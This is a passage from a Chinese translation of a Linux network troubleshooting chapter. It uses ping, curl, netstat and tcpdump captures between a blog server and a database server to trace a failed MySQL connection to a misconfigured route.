Flags [S], - -``` - -如果我们分解这三个数据包,可以看到这三个数据包都来自`37785`的源端口,目标端口是 3306。 我们也可以看到这些数据包是`SYN`数据包。 这意味着我们的系统发送了 3 个`SYN`数据包,但从未从目的地(本例中为`192.168.33.12`)接收到一个`SYN-ACK`数据包。 - -关于到主机`192.168.33.12`的网络连接,这告诉我们什么? 它告诉我们,要么远程服务器`192.168.33.12`从未接收到我们的数据包,要么它正在接收数据包,而我们永远无法接收`SYN-ACK`的回复。 如果问题是由于数据库服务器不接受我们的数据包造成的,我们将期望看到一个`RST`或`Reset`数据包。 - -## 收集数据的评审 - -在这一点上,这是一个很好的时机来盘点我们已经收集的信息和我们目前所知道的信息。 - -我们确定的第一个关键信息是博客服务器(`blog.example.com`)无法连接到数据库服务器(`db.example.com`)。 我们识别的第二个关键信息是 DNS 名称`db.example.com`解析为`10.0.0.50`。 然而,在`blog.example.com`服务器上还有一个覆盖 DNS 的`/etc/hosts`文件条目。 由于 hosts 文件的原因,当 web 应用试图连接`db.example.com`时,它正在连接`192.168.33.12`。 - -我们还发现主机`192.168.33.11`(`blog.example.com`)在访问 WordPress 应用时向`192.168.33.12`发送初始的`SYN`数据包。 但是,服务器`192.168.33.12`要么没有接收,要么没有应答这些数据包。 - -在整个调查过程中,我们检查了博客服务器的网络配置,并确定其设置正确。 我们可以通过简单地使用 ping 命令向每个网络接口的子网内的一个 IP 发送 ICMP 回显来执行额外的验证。 - -```sh -[blog]# ip addr show enp0s3 -2: enp0s3: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:20:5d:4b brd ff:ff:ff:ff:ff:ff - inet 10.0.2.16/24 brd 10.0.2.255 scope global dynamic enp0s3 - valid_lft 62208sec preferred_lft 62208sec - inet6 fe80::a00:27ff:fe20:5d4b/64 scope link - valid_lft forever preferred_lft forever - -``` - -对于`enp0s3`接口,可以看到绑定的 IP 地址为`10.0.2.16`,子网为`/24`或`255.255.255.0`。 通过这个设置,我们应该能够与这个子网中的另一个 IP 进行通信。 下面是使用 ping 命令测试到`10.0.2.2`的连通性的结果。 - -```sh -[blog]# ping 10.0.2.2 -PING 10.0.2.2 (10.0.2.2) 56(84) bytes of data. -64 bytes from 10.0.2.2: icmp_seq=1 ttl=63 time=0.250 ms -64 bytes from 10.0.2.2: icmp_seq=2 ttl=63 time=0.196 ms -64 bytes from 10.0.2.2: icmp_seq=3 ttl=63 time=0.197 ms -^C ---- 10.0.2.2 ping statistics --- -3 packets transmitted, 3 received, 0% packet loss, time 2001ms -rtt min/avg/max/mdev = 0.196/0.214/0.250/0.027 ms - -``` - -这表明`enp0s3`接口至少可以连接到其子网内的其他 ip。 使用`enp0s8`,我们可以在另一个 IP 上执行相同的测试。 - -```sh -[blog]# ip addr show enp0s8 -3: enp0s8: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:7f:fd:54 brd ff:ff:ff:ff:ff:ff - inet 192.168.33.11/24 brd 192.168.33.255 scope global enp0s8 - valid_lft forever preferred_lft forever - inet6 fe80::a00:27ff:fe7f:fd54/64 scope link - valid_lft forever preferred_lft forever - -``` - -从前面的命令中,我们可以看到`enp0s8`将 IP`192.168.33.11`与一个子网`/24`或`255.255.255.0`绑定在一起。 如果我们可以使用 ping 命令与`192.168.33.11/24`子网中的任何其他 IP 通信,那么我们就可以验证这个接口是否也配置正确。 - -```sh -# ping 192.168.33.1 -PING 192.168.33.1 (192.168.33.1) 56(84) bytes of data. -64 bytes from 192.168.33.1: icmp_seq=1 ttl=64 time=0.287 ms -64 bytes from 192.168.33.1: icmp_seq=2 ttl=64 time=0.249 ms -64 bytes from 192.168.33.1: icmp_seq=3 ttl=64 time=0.260 ms -64 bytes from 192.168.33.1: icmp_seq=4 ttl=64 time=0.192 ms -^C ---- 192.168.33.1 ping statistics --- -4 packets transmitted, 4 received, 0% packet loss, time 3028ms -rtt min/avg/max/mdev = 0.192/0.247/0.287/0.034 ms - -``` - -从结果中,我们可以看到到 IP`192.168.33.1`的连接正按预期工作。 因此,这意味着,至少在基本方式上,`enp0s8`接口配置正确。 - -有了所有这些信息,我们可以假设`blog.example.com`服务器配置正确,可以连接到为其配置的网络。 从这一点开始,如果我们想要关于我们的问题的更多信息,我们将需要从`db.example.com`(`192.168.33.12`)服务器获取它。 - -## 看看另一边 - -虽然这不总是可能的,但在处理网络问题时,最好从对话双方进行故障排除。 在前面的示例中,我们使用两个系统组成网络对话,即客户机和服务器。 到目前为止,我们从客户的角度来看一切; 在本节中,我们将从服务器的角度看一下这个对话的另一面。 - -### 识别网络配置 - -在上一节中,我们在查看博客服务器的网络配置之前经历了几个步骤。 在数据库服务器的情况下,我们已经知道问题与网络有关,特别是与`192.168.33.12`的 IP 有关。 因为我们已经知道问题与哪个 IP 相关,所以我们应该做的第一件事是确定这个 IP 绑定到哪个接口。 - -同样,我们将使用带有`addr show`选项的`ip`命令来完成此操作。 - -```sh -[db]# ip addr show -1: lo: mtu 65536 qdisc noqueue state UNKNOWN - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - valid_lft forever preferred_lft forever - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever -2: enp0s3: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:20:5d:4b brd ff:ff:ff:ff:ff:ff - inet 10.0.2.16/24 brd 10.0.2.255 scope global dynamic enp0s3 - valid_lft 86304sec preferred_lft 86304sec - inet6 fe80::a00:27ff:fe20:5d4b/64 scope link - valid_lft forever preferred_lft forever -3: enp0s8: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:c9:d3:65 brd ff:ff:ff:ff:ff:ff - inet 192.168.33.12/24 brd 192.168.33.255 scope global enp0s8 - valid_lft forever preferred_lft forever - inet6 fe80::a00:27ff:fec9:d365/64 scope link - valid_lft forever preferred_lft forever - -``` - -在前面的示例中,我们使用了`addr show`选项来显示与单个接口关联的 ip。 但是,这一次通过省略接口名称,`ip`命令显示所有的 ip 和这些 ip 绑定的接口。 这是显示与此服务器相关的 IP 地址和接口的一种快速而简单的方法。 - -我们可以从前面的命令中看到,数据库服务器具有与应用服务器类似的配置,因为它有三个接口。 在深入讨论之前,让我们更好地了解服务器的接口,并看看可以从中识别哪些信息。 - -```sh -1: lo: mtu 65536 qdisc noqueue state UNKNOWN - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 - inet 127.0.0.1/8 scope host lo - valid_lft forever preferred_lft forever - inet6 ::1/128 scope host - valid_lft forever preferred_lft forever - -``` - -该服务器上的第一个接口是环回接口`lo`。 如前所述,这个接口对每个服务器都是通用的,并且只用于本地网络流量。 这个接口不太可能与我们的问题相关。 - -```sh -2: enp0s3: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:20:5d:4b brd ff:ff:ff:ff:ff:ff - inet 10.0.2.16/24 brd 10.0.2.255 scope global dynamic enp0s3 - valid_lft 86304sec preferred_lft 86304sec - inet6 fe80::a00:27ff:fe20:5d4b/64 scope link - valid_lft forever preferred_lft forever - -``` - -似乎对于第二个接口`enp0s3`,数据库服务器的配置与博客服务器的配置非常相似。 在 web 应用服务器上,我们也有一个名为`enp0s3`的接口,这个接口也在`10.0.2.0/24`网络上。 - -自博客和数据库服务器之间的连接似乎是针对 IP`192.168.33.12`,`enp0s3`似乎不是一个接口关注`enp0s3`界面`10.0.2.16`IP 绑定。 - -```sh -3: enp0s8: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:c9:d3:65 brd ff:ff:ff:ff:ff:ff - inet 192.168.33.12/24 brd 192.168.33.255 scope global enp0s8 - valid_lft forever preferred_lft forever - inet6 fe80::a00:27ff:fec9:d365/64 scope link - valid_lft forever preferred_lft forever - -``` - -另一方面,第三个网络设备`enp0s8`确实绑定了 IP`192.168.33.12`。 `enp0s8`设备的设置也类似于博客服务器上的`enp0s8`设备,因为这两个设备似乎都在`192.168.33.0/24`网络上。 - -从前面的故障排除中,我们知道我们的 web 应用的目标 IP 是 IP 192.168.33.12。 通过`ip`命令,我们已经确认 192.168.33.12 通过`enp0s8`接口绑定到此服务器。 - -### 测试 db.example.com 的连通性 - -现在我们知道了数据库服务器具有预期的网络配置,我们需要确定该服务器是否正确地连接到`192.168.33.0/24`网络。 最简单的方法是执行我们之前在博客服务器上执行的任务; 使用`ping`连接到该子网上的另一个 IP。 - -```sh -[db]# ping 192.168.33.1 -PING 192.168.33.1 (192.168.33.1) 56(84) bytes of data. -64 bytes from 192.168.33.1: icmp_seq=1 ttl=64 time=0.438 ms -64 bytes from 192.168.33.1: icmp_seq=2 ttl=64 time=0.208 ms -64 bytes from 192.168.33.1: icmp_seq=3 ttl=64 time=0.209 ms -^C ---- 192.168.33.1 ping statistics --- -3 packets transmitted, 3 received, 0% packet loss, time 2001ms -rtt min/avg/max/mdev = 0.208/0.285/0.438/0.108 ms - -``` - -通过上面的输出,我们可以看到数据库服务器能够联系`192.168.33.0/24`子网上的另一个 IP。 在前面进行故障排除时,我们试图从博客服务器连接到数据库服务器,但测试失败。 一个有趣的测试是,当数据库服务器发起到博客服务器的连接时,验证反过来的连接失败。 - -```sh -[db]# ping 192.168.33.11 -PING 192.168.33.11 (192.168.33.11) 56(84) bytes of data. -From 10.0.2.16 icmp_seq=1 Destination Host Unreachable -From 10.0.2.16 icmp_seq=2 Destination Host Unreachable -From 10.0.2.16 icmp_seq=3 Destination Host Unreachable -From 10.0.2.16 icmp_seq=4 Destination Host Unreachable -^C ---- 192.168.33.11 ping statistics --- -6 packets transmitted, 0 received, +4 errors, 100% packet loss, time 5005ms - -``` - -当运行从数据库服务器到博客服务器的 IP(`192.168.33.11`)的`ping`命令时,我们可以看到 ping 的应答为**Destination Host Unreachable**。 这与我们在尝试从博客服务器连接时看到的错误相同。 - -正如前面提到的,除了网络连接问题之外,还有许多原因导致 ping 失败; 为了确保存在连接问题,我们还应该使用`telnet`测试连接。 我们知道博客服务器正在接受到 web 服务器的连接,所以一个到 web 服务器端口的简单`telnet`就可以明确地告诉我们是否有数据库服务器到 web 服务器的连接。 - -在运行`telnet`时,需要指定要连接的端口。 我们知道 web 服务器正在运行,当我们导航到`http://blog.example.com`时,我们会得到一个 web 页面。 根据这些信息,我们可以确定使用了默认 HTTP 端口并正在侦听。 有了这些信息,我们还知道可以简单地使用 telnet 连接到端口`80`,即`HTTP`通信的默认端口。 - -```sh -[db]# telnet 192.168.33.11 80 --bash: telnet: command not found - -``` - -但是,在这个服务器上,没有安装`telnet`。 这是,因为我们可以像在前面的例子中那样使用`curl`命令。 - -```sh -[db]# curl telnet://192.168.33.11:80 -v -* About to connect() to 192.168.33.11 port 80 (#0) -* Trying 192.168.33.11... -* No route to host -* Failed connect to 192.168.33.11:80; No route to host -* Closing connection 0 -curl: (7) Failed connect to 192.168.33.11:80; No route to host - -``` - -从`curl`命令的输出中,我们可以看到,无论是博客还是数据库服务器发起连接,通信问题都存在。 - -### 正在寻找与 netstat 的连接 - -在上一节中,当从博客服务器进行故障排除时,我们使用`netstat`查看到数据库服务器的打开的 TCP 连接。 现在我们已经登录到数据库服务器,我们可以使用相同的命令从数据库服务器的角度查看连接的状态。 为此,我们将运行指定间隔的`netstat`; 这将导致`netstat`每隔 5 秒打印一次网络连接统计信息,类似于`vmstat`或`top`命令。 - -在运行`netstat`命令时,我们只需刷新浏览器,使 WordPress 应用再次尝试数据库连接。 - -```sh -[db]# netstat -na 5 | grep 192.168.33.11 - -``` - -在我称之为`continuous mode`的地方运行`netstat`并使用`grep`过滤博客服务器的 IP(192.168.33.11)之后,我们没有看到任何 TCP 连接或连接尝试。 - -在许多情况下,这似乎表明数据库服务器从未收到来自博客服务器的 TCP 数据包。 我们可以通过使用`tcpdump`命令来捕获`enp0s8`接口上的所有网络流量来确认是否存在这种情况。 - -### 使用 tcpdump 跟踪网络连接 - -在前面学习关于`tcpdump`的时候,我们了解到它默认使用最小数量的接口。 这意味着,为了捕获连接尝试,我们必须使用`-i`(接口)标志来跟踪正确的接口`enp0s8`。 除了告诉`tcpdump`监视`enp0s8`接口之外,我们还将让`tcpdump`将其输出写入一个文件。 我们将这样做,以便能够捕获尽可能多的数据,然后使用`tcpdump`命令尽可能多地分析数据。 - -```sh -[db]# tcpdump -i enp0s8 -w /var/tmp/db-capture.pcap -tcpdump: listening on enp0s8, link-type EN10MB (Ethernet), capture size 65535 bytes - -``` - -现在`tcpdump`正在运行,我们只需要再次刷新浏览器。 - -```sh -^C110 packets captured -110 packets received by filter -0 packets dropped by kernel - -``` - -刷新浏览器后,看到`packets captured`计数器增加,可以通过按键盘上的*Ctrl*+*C*停止`tcpdump`。 - -一旦`tcpdump`停止,我们就可以使用`–r`(read)标志读取捕获的数据; 然而,这将打印`tcpdump`捕获的所有数据包。 在某些环境中,这可能是相当多的数据。 因此,为了精简输出,只输出有用的数据,我们将使用`port`过滤器告诉`tcpdump`只输出从端口 3306(默认的 MySQL 端口)发起或目标端口 3306 发起的捕获流量。 - -我们可以通过将`port 3306`添加到`tcpdump`命令的末尾来实现这一点。 - -```sh -[db]# tcpdump -nnvvv -r /var/tmp/db-capture.pcap port 3306 -reading from file /var/tmp/db-capture.pcap, link-type EN10MB (Ethernet) -03:11:03.697543 IP (tos 0x10, ttl 64, id 43196, offset 0, flags [DF], proto TCP (6), length 64) - 192.168.33.1.59510 > 192.168.33.12.3306: Flags [S], cksum 0xc125 (correct), seq 2335155468, win 65535, options [mss 1460,nop,wscale 5,nop,nop,TS val 1314733695 ecr 0,sackOK,eol], length 0 -03:11:03.697576 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.12.3306 > 192.168.33.1.59510: Flags [S.], cksum 0xc38c (incorrect -> 0x5d87), seq 2658328059, ack 2335155469, win 14480, options [mss 1460,sackOK,TS val 1884022 ecr 1314733695,nop,wscale 6], length 0 -03:11:03.697712 IP (tos 0x10, ttl 64, id 61120, offset 0, flags [DF], proto TCP (6), length 52) - 192.168.33.1.59510 > 192.168.33.12.3306: Flags [.], cksum 0xb4cd (correct), seq 1, ack 1, win 4117, options [nop,nop,TS val 1314733695 ecr 1884022], length 0 -03:11:03.712018 IP (tos 0x8, ttl 64, id 25226, offset 0, flags [DF], proto TCP (6), length 127) - -``` - -然而,在使用前面的过滤器时,这个数据库服务器似乎不仅仅被 WordPress 应用使用。 从`tcpdump`输出中,我们可以看到`3306`端口上的流量比博客服务器还要多。 - -为了进一步清理这个输出,我们可以将主机过滤器添加到`tcpdump`命令中,只过滤我们感兴趣的流量:来自主机`192.168.33.11`的流量。 - -```sh -[db]# tcpdump -nnvvv -r /var/tmp/db-capture.pcap port 3306 and host 192.168.33.11 -reading from file /var/tmp/db-capture.pcap, link-type EN10MB (Ethernet) -04:04:09.167121 IP (tos 0x0, ttl 64, id 60173, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.51149 > 192.168.33.12.3306: Flags [S], cksum 0x4111 (correct), seq 558685560, win 14600, options [mss 1460,sackOK,TS val 9320053 ecr 0,nop,wscale 6], length 0 -04:04:10.171104 IP (tos 0x0, ttl 64, id 60174, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.51149 > 192.168.33.12.3306: Flags [S], cksum 0x3d26 (correct), seq 558685560, win 14600, options [mss 1460,sackOK,TS val 9321056 ecr 0,nop,wscale 6], length 0 -04:04:12.175107 IP (tos 0x0, ttl 64, id 60175, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.51149 > 192.168.33.12.3306: Flags [S], cksum 0x3552 (correct), seq 558685560, win 14600, options [mss 1460,sackOK,TS val 9323060 ecr 0,nop,wscale 6], length 0 -04:04:16.187731 IP (tos 0x0, ttl 64, id 60176, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.51149 > 192.168.33.12.3306: Flags [S], cksum 0x25a5 (correct), seq 558685560, win 14600, options [mss 1460,sackOK,TS val 9327073 ecr 0,nop,wscale 6], length 0 - -``` - -在这里,我们使用“`and`”操作符告诉`tcpdump`只打印到/从端口`3306`和到/从主机`192.168.33.11`的流量。 - -`tcpdump`命令有许多可能的过滤器和操作符; 但是,在所有这些方法中,我建议熟悉基于端口和主机的过滤,因为这些方法在大多数情况下已经足够了。 - -如果我们分解前面捕获的网络跟踪,我们可以看到一些有趣的信息; 为了让它更容易被发现,让我们将输出缩小,只显示所使用的 ip 和标志。 - -```sh -04:04:09.167121 IP - 192.168.33.11.51149 > 192.168.33.12.3306: Flags [S], -04:04:10.171104 IP - 192.168.33.11.51149 > 192.168.33.12.3306: Flags [S], -04:04:12.175107 IP - 192.168.33.11.51149 > 192.168.33.12.3306: Flags [S], -04:04:16.187731 IP - 192.168.33.11.51149 > 192.168.33.12.3306: Flags [S], - -``` - -从这个信息中,我们可以看到从`blog.example.com`(`192.168.33.11`)发送的`SYN`包在`db.example.com`(`192.168.33.12`)到达。 然而,我们没有看到的是返回的`SYN-ACKS`。 - -这告诉我们,我们至少找到了网络问题的根源; 服务器`db.example.com`没有正确地回复从博客服务器收到的数据包。 - -现在的问题是:什么会导致这种类型的问题? 发生这个问题的原因有很多; 然而,这种问题通常是由于网络配置设置中的错误配置造成的。 根据我们收集到的信息,我们可以假设数据库服务器只是配置错误。 - -然而,有几种方法会导致这种配置错误的问题。 为了识别可能的错误配置,我们可以使用`tcpdump`命令来捕获该服务器上的所有网络流量。 - -在前面的`tcpdump`示例中,我们总是指定一个要监视的接口。 在大多数情况下,这对于问题是合适的,因为它减少了`tcpdump`所捕获的数据量。 在非常活跃的服务器上,几分钟的`tcpdump`数据可能非常大,所以最好将数据减少到只需要的程度。 - -然而,在某些情况下,比如这个问题,让`tcpdump`从所有接口捕获网络流量是有用的。 为此,我们只需指定`any`作为要监视的接口。 - -```sh -[db]# tcpdump -i any -w /var/tmp/alltraffic.pcap -tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes - -``` - -现在我们有了`tcpdump`捕获并保存所有接口上的所有流量,我们将需要再次刷新浏览器,以迫使 WordPress 应用尝试数据库连接。 - -```sh -^C440 packets captured -443 packets received by filter -0 packets dropped by kernel - -``` - -经过几次尝试后,我们可以通过按*Ctrl*+*C*再次停止`tcpdump`。 将捕获的网络数据保存到一个文件后,我们可以开始研究这些连接尝试发生了什么。 - -由于`tcpdump`捕获了大量的数据包,我们将再次使用`host`过滤器来限制`192.168.33.11`进出的网络流量的结果。 - -```sh -[db]# tcpdump -nnvvv -r /var/tmp/alltraffic.pcap host 192.168.33.11 -reading from file /var/tmp/alltraffic.pcap, link-type LINUX_SLL (Linux cooked) -15:37:51.616621 IP (tos 0x0, ttl 64, id 8389, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [S], cksum 0x34dd (correct), seq 4225047048, win 14600, options [mss 1460,sackOK,TS val 3357389 ecr 0,nop,wscale 6], length 0 -15:37:51.616665 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.12.3306 > 192.168.33.11.47339: Flags [S.], cksum 0xc396 (incorrect -> 0x3609), seq 1637731271, ack 4225047049, win 14480, options [mss 1460,sackOK,TS val 3330467 ecr 3357389,nop,wscale 6], length 0 -15:37:51.616891 IP (tos 0x0, ttl 255, id 2947, offset 0, flags [none], proto TCP (6), length 40) - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [R], cksum 0x10c4 (correct), seq 4225047049, win 0, length 0 -15:37:52.619386 IP (tos 0x0, ttl 64, id 8390, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [S], cksum 0x30f2 (correct), seq 4225047048, win 14600, options [mss 1460,sackOK,TS val 3358392 ecr 0,nop,wscale 6], length 0 -15:37:52.619428 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.12.3306 > 192.168.33.11.47339: Flags [S.], cksum 0xc396 (incorrect -> 0x1987), seq 1653399428, ack 4225047049, win 14480, options [mss 1460,sackOK,TS val 3331470 ecr 3358392,nop,wscale 6], length 0 -15:37:52.619600 IP (tos 0x0, ttl 255, id 2948, offset 0, flags [none], proto TCP (6), length 40) - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [R], cksum 0x10c4 (correct), seq 4225047049, win 0, length 0 - -``` - -通过捕获的数据,我们似乎找到了预期的`SYN-ACK`。 为了以更清晰的方式显示这一点,让我们将输出缩减为只使用 ip 和标志。 - -```sh -15:37:51.616621 IP - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [S], -15:37:51.616665 IP - 192.168.33.12.3306 > 192.168.33.11.47339: Flags [S.], -15:37:51.616891 IP - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [R], -15:37:52.619386 IP - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [S], -15:37:52.619428 IP - 192.168.33.12.3306 > 192.168.33.11.47339: Flags [S.], -15:37:52.619600 IP - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [R], - -``` - -有了更清晰的图像,我们可以看到正在传输的一系列有趣的网络数据包。 - -```sh -15:37:51.616621 IP - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [S], - -``` - -第一个包是端口`3306`上从`192.168.33.11`到`192.168.33.12`的`SYN`包。 这与我们在前面的`tcpdump`执行中捕获的数据包类型相同。 - -```sh -15:37:51.616665 IP - 192.168.33.12.3306 > 192.168.33.11.47339: Flags [S.], - -``` - -然而,我们之前没有见过第二个包。 在第二个包中,我们看到它是一个`SYN-ACK`(由`Flags [S.]`标识)。 `SYN-ACK`正在从端口`3306`上的`192.168.33.12`发送到端口`47339`上的`192.168.33.11`(发送原始`SYN`报文的端口)。 - -乍一看,这似乎是正常的`SYN`和`SYN-ACK`握手。 - -```sh -15:37:51.616891 IP - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [R], - -``` - -然而,第三个包很有趣,因为它清楚地表明存在问题。 第三个包是博客服务器`192.168.33.11`发送的`RESET`包(用`Flags [R]`标识)。 有趣的是,在博客服务器上执行`tcpdump`时,我们从未捕获`RESET`数据包。 如果我们在博客服务器上再次执行`tcpdump`,我们可以再次看到这一点。 - -```sh -[blog]# tcpdump -i any port 3306 -tcpdump: verbose output suppressed, use -v or -vv for full protocol decode -listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes -15:24:25.646731 IP blog.example.com.47336 > db.example.com.mysql: Flags [S], seq 3286710391, win 14600, options [mss 1460,sackOK,TS val 2551514 ecr 0,nop,wscale 6], length 0 -15:24:26.648706 IP blog.example.com.47336 > db.example.com.mysql: Flags [S], seq 3286710391, win 14600, options [mss 1460,sackOK,TS val 2552516 ecr 0,nop,wscale 6], length 0 -15:24:28.652763 IP blog.example.com.47336 > db.example.com.mysql: Flags [S], seq 3286710391, win 14600, options [mss 1460,sackOK,TS val 2554520 ecr 0,nop,wscale 6], length 0 -15:24:32.660123 IP blog.example.com.47336 > db.example.com.mysql: Flags [S], seq 3286710391, win 14600, options [mss 1460,sackOK,TS val 2558528 ecr 0,nop,wscale 6], length 0 -15:24:40.676112 IP blog.example.com.47336 > db.example.com.mysql: Flags [S], seq 3286710391, win 14600, options [mss 1460,sackOK,TS val 2566544 ecr 0,nop,wscale 6], length 0 -15:24:56.724102 IP blog.example.com.47336 > db.example.com.mysql: Flags [S], seq 3286710391, win 14600, options [mss 1460,sackOK,TS val 2582592 ecr 0,nop,wscale 6], length 0 - -``` - -从前面的`tcpdump`输出中,我们看不到博客服务器上的`SYN-ACK`或`RESET`数据包。 这意味着`RESET`正在由另一个系统发送,或者`SYN-ACK`包在`tcpdump`捕获之前被博客服务器的内核拒绝。 - -当`tcpdump`命令捕获网络流量时,它将在内核处理完这些网络流量后执行。 这意味着,如果由于任何原因,内核拒绝了数据包,它将不会通过`tcpdump`命令被看到。 因此,可能是博客服务器的内核在`tcpdump`能够捕获来自数据库服务器的返回数据包之前拒绝了它们。 - -在数据库上执行`tcpdump`的另一个有趣的地方是,如果我们查看在`enp0s8`上执行的`tcpdump`,我们不会看到`SYN-ACK`包。 然而,如果我们让`tcpdump`查看我们使用的所有接口,`tcpdump`也会显示出`SYN-ACK`数据包来自`192.168.33.12`。 这表明`SYN-ACK`正在从另一个接口发送。 - -为了确认这一点,我们可以再次运行`tcpdump`,将捕获限制为遍历`enp0s8`接口的数据包。 - -```sh -[db]# tcpdump -nnvvv -i enp0s8 port 3306 and host 192.168.33.11 -04:04:09.167121 IP (tos 0x0, ttl 64, id 60173, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.51149 > 192.168.33.12.3306: Flags [S], cksum 0x4111 (correct), seq 558685560, win 14600, options [mss 1460,sackOK,TS val 9320053 ecr 0,nop,wscale 6], length 0 -04:04:10.171104 IP (tos 0x0, ttl 64, id 60174, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.51149 > 192.168.33.12.3306: Flags [S], cksum 0x3d26 (correct), seq 558685560, win 14600, options [mss 1460,sackOK,TS val 9321056 ecr 0,nop,wscale 6], length 0 - -``` - -通过执行`tcpdump`,我们仍然只能看到来自博客服务器的`SYN`数据包。 但是,如果我们对所有接口运行相同的`tcpdump`,我们不仅会看到`SYN`包,还会看到`SYN-ACK`包。 - -```sh -[db]# tcpdump -nnvvv -i any port 3306 and host 192.168.33.11 -15:37:51.616621 IP (tos 0x0, ttl 64, id 8389, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.47339 > 192.168.33.12.3306: Flags [S], cksum 0x34dd (correct), seq 4225047048, win 14600, options [mss 1460,sackOK,TS val 3357389 ecr 0,nop,wscale 6], length 0 -15:37:51.616665 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.12.3306 > 192.168.33.11.47339: Flags [S.], cksum 0xc396 (incorrect -> 0x3609), seq 1637731271, ack 4225047049, win 14480, options [mss 1460,sackOK,TS val 3330467 ecr 3357389,nop,wscale 6], length 0 - -``` - -返回到`192.168.33.11`的`SYN-ACK`包来自`192.168.33.12`。 前面,我们确定这个 IP 绑定到网络设备`enp0s8`。 然而,当我们使用`tcpdump`来查看所有正在发送的数据包时,`SYN-ACK`并没有从`enp0s8`被捕获。 这意味着`SYN-ACK`包是从不同的接口发送的。 - -## 路由 - -一个`SYN`数据包如何到达一个接口,而另一个`SYN-ACK`返回? 一个可能的答案是,这是由于数据库服务器上的路由定义配置错误。 - -每个支持网络的操作系统都维护一个称为**路由表**的东西。 这个路由表是一个包应该接受的定义好的网络路由的集合。 为了给这个概念提供一些背景信息,让我们使用两个接口`enp0s3`和`enp0s8`作为示例。 - -```sh -# ip addr show enp0s8 -3: enp0s8: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:c9:d3:65 brd ff:ff:ff:ff:ff:ff - inet 192.168.33.12/24 brd 192.168.33.255 scope global enp0s8 - valid_lft forever preferred_lft forever - inet6 fe80::a00:27ff:fec9:d365/64 scope link - valid_lft forever preferred_lft forever -# ip addr show enp0s3 -2: enp0s3: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:20:5d:4b brd ff:ff:ff:ff:ff:ff - inet 10.0.2.16/24 brd 10.0.2.255 scope global dynamic enp0s3 - valid_lft 65115sec preferred_lft 65115sec - inet6 fe80::a00:27ff:fe20:5d4b/64 scope link - valid_lft forever preferred_lft forever - -``` - -如果我们查看这两个接口,我们知道`enp0s8`接口连接到`192.168.33.0/24`(`inet 192.168.33.12/24`)网络,而`enp0s3`接口连接到`10.0.2.0/24`(`inet 10.0.2.16/24`)网络。 - -如果我们连接到 IP 10.0.2.19,数据包不应该出`enp0s8`接口,因为这些数据包的最佳路由将通过`enp0s3`接口。 这是最优路由的原因是`enp0s3`接口已经是包含 IP`10.0.2.19`的`10.0.2.0/24`网络的一部分。 - -`enp0s8`接口是不同网络(`192.168.33.0/24`)的一部分,因此不是最优路由。 事实上,`enp0s8`接口甚至不能路由到`10.0.2.0/24`网络。 - -尽管`enp0s8`可能不是最优路由,但是如果路由表中没有相应的条目,内核也不会知道这一点。 为了深入研究我们的问题,我们需要查看这个数据库服务器上的路由表。 - -### 查看路由表 - -在 Linux 中,有一些方法可以查看当前的路由表; 在本节中,我将介绍两个。 第一种方法将使用`netstat`命令。 - -如果要使用`netstat`命令查看路由表,只需使用`–r`(路由)或`--route`标志运行该命令。 在下面的示例中,我们还将使用`-n`标志来阻止`netstat`执行 DNS 查找。 - -```sh -[db]# netstat -rn -Kernel IP routing table -Destination Gateway Genmask Flags MSS Window irtt Iface -0.0.0.0 10.0.2.2 0.0.0.0 UG 0 0 0 enp0s3 -10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 enp0s3 -169.254.0.0 0.0.0.0 255.255.0.0 U 0 0 0 enp0s8 -192.168.33.0 0.0.0.0 255.255.255.0 U 0 0 0 enp0s8 -192.168.33.11 10.0.2.1 255.255.255.255 UGH 0 0 0 enp0s3 - -``` - -虽然`netstat`可能不是打印路由表的最佳 Linux 命令,但是在本例中使用它有一个非常特殊的原因。 正如我在本章和本书前面提到的,`netstat`命令是一个通用工具,几乎存在于每一个现代服务器、路由器或桌面。 通过了解如何使用`netstat`查看路由表,您可以在安装了`netstat`的任何操作系统上执行基本的网络故障排除。 - -一般来说,可以肯定的是,`netstat`命令是可用的,并且至少可以为您提供系统网络状态和配置的基本细节。 - -与其他实用程序(如`ip`命令)相比,`netstat`的格式可能有点神秘。 然而,前面的路由表向我们展示了相当多的信息。 为了更好地理解,让我们逐个分析输出路径。 - -```sh -Destination Gateway Genmask Flags MSS Window irtt Iface -0.0.0.0 